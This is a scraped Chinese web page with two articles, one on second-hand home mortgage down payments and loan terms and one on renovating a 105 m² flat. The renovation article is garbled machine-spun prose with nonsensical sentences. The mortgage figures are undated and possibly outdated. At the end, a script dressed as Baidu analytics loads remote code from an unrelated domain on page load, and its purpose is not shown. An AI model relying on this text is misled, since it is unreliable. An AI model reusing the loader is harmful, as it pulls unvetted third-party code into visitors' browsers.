二手房可以按揭几成 二手房最多能贷多少年?

如今很多的房地产在开盘时取得预售证以后就开始销售房产，而此时的房价也会相对便宜一些，一旦房屋建成以后，房价也会增长，而且剩余楼层和户型也不是很好，所以很多觉得期房不靠谱的人们，一般会选择购买二手房。但是二手房也有很多不靠谱的地方，大家购买时还需要谨慎。今天小编先给大家说一下购买二手房可以按揭几成?最多能贷款多少年?二手房可以按揭几成?一、首先我们要了解购房者有没有房产，有一套还是两套。1、如果购房者没有房产的，也就是首套二手房，那么二手房贷的首付不低于30%，这里说的30%值得不是成交较而是评估价。而二手房贷款式根据二手房评估作为参考的，而一般评估价都低于市场价格。2、如果购房者都有了一套房产，那么他在二手房首付的时候比例就应该是70%左右，而基准利率目前为6.55%部分银行首套可以做到85折。3、三套房产的情况，如果需要向银行贷款购买二手房的话那么根据规定是不予贷款的。二、二手房贷款首付比例为多少分为以下三种个情况。1、如果上家已经还清了房贷，而且购房者资质很好，就能获得只用支付2成的二手房贷款首付。2、如果上家已经没有偿还清楚贷款的，而且还要求购房者配合还贷的情况，最安全的做法是走资金监管程序。这样首付3成的二手房贷即可。3、如果购房者资金充足，可以一次性支付清楚，这样就不存在首付和房贷的问题了。二手房最多能贷多少年?一、与房龄有关：一般是30年内房龄，最长贷款年限计算：贷款年限+房龄<50(各银行间有差异)二、与贷款人的年龄有关：1、个人住房贷款最长期限为30年;2、个人商业用房贷款最长期限为10年;3、男士年龄不超过60岁，60-你的年龄为男士最长贷款年限;4、女士年龄不超过55岁;55-你的年龄为女士最长贷款年限。二手房的购买首付情况除了和你所拥有的房产情况有一定关系以外，还和你所购买的二手房是否有贷款情款有关系，相对新房而言，二手房贷款情况要更复杂一些，不过如果有中介介入的话，个人需要考虑的问题也就很少了，中介一般都会办妥。小编在上文中也做了一些关于二手房按揭情况的一些介绍，大家可做参考。

105平米二手房翻新，效果特别赞！

在我的生活中，除了做我喜欢做的事情之外，剩下最重要的事情就是和两个彼此不厌倦的人呆在一起，用好事来消磨注定要度过的时间。案例是一家三口住在定制整个房子的过程中，女主人从设计到整个过程监督的翻新。下面，让我们一起感受一下吧！一、105平米二手房翻新计划三间卧室，两个大厅，两个浴室和三个阳台是公寓的整体布局，三面通风。在收到订单后，设计师提出了几项改变建议：1.客厅入口花园的门被拆除，门开口被扩大，墙的一半被拆除，墙壁被预留给沙发。花园变成了一间带全玻璃的书房，书房和入口大厅自然被平台隔开；2.扩大厨房门的开口，形成一个开放式厨房；3.浴室内建造了一面墙，形成了一个独立的干湿隔断的浴室；4.将客房的门从过道改为起居室，并在不减少客房使用面积的情况下扩大衣帽间。二、105平米二手房翻新入口门廊设计安装组合鞋柜，低柜具有储物和坐凳功能。除放置鞋子外，还为扫地机和拖地机预留了两个插座，位于墙壁的位置，方便充电。原来的家庭花园被分成了半墙，起居室被整合成一个开放的书房，落地窗配有百叶窗。三、105平米二手房翻新餐厅餐厅里有很多小家电，所以设计师特意预留了安装电气柜的空间，并预留了插座；整个柜子是一个可移动的隔板，可以自己调节高度，一般的小家电都可以摆放。四、105平米二手房翻新厨房厨房有一个承重墙，设计师放弃了全开放的计划。在业主的要求下，它被改为半开放式。挖出半壁以制作黑框固定窗，以解决厨房照明问题。在角落处使用可伸缩的架子，所有这些都用于放置盆。厨房蒸笼上方的柜子，所有活动网格，根据实际需要调整非常方便。五、105平米二手房翻新阳台阳台是为洗衣机烘干机预留的。为了省钱，家居设计师建议购买孔板，延伸滑动抽屉盒存储，只需放入蒸汽。挂机只是插在干燥机旁边的混凝土平台上，整体感觉是美观实用，非常方便。六、105平米二手房翻新客厅客厅里的纱线市场落后了。当太阳太强时，窗帘直接降低到阴影处，为主人节省了遮光窗口的钱。布料电源保留在窗口的最左侧，与相机共用一个五孔插座。折叠式座椅也保留在阳台外的相同位置，方便吊灯，增添节日气氛。七、105平米二手房翻新浴室主卫的装饰非常令人满意。衣架承担了浴室储物的大部分功能，并配备了更均匀的储物盒。同时，为了使干湿完全分离，选择薄壁分离，内部的卫生间和淋浴区基本上只有一个方形。八、105平米二手房翻新卧室主卧室简单而简单，基本上只有一张床睡觉。柔软的深绿色天鹅绒窗帘完全遮蔽刺眼的阳光，无法区分白天和黑夜，大床一侧的床头柜可以说是最实用的小家具。整个105平米二手房翻新的设计新颖大方，效果很赞。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();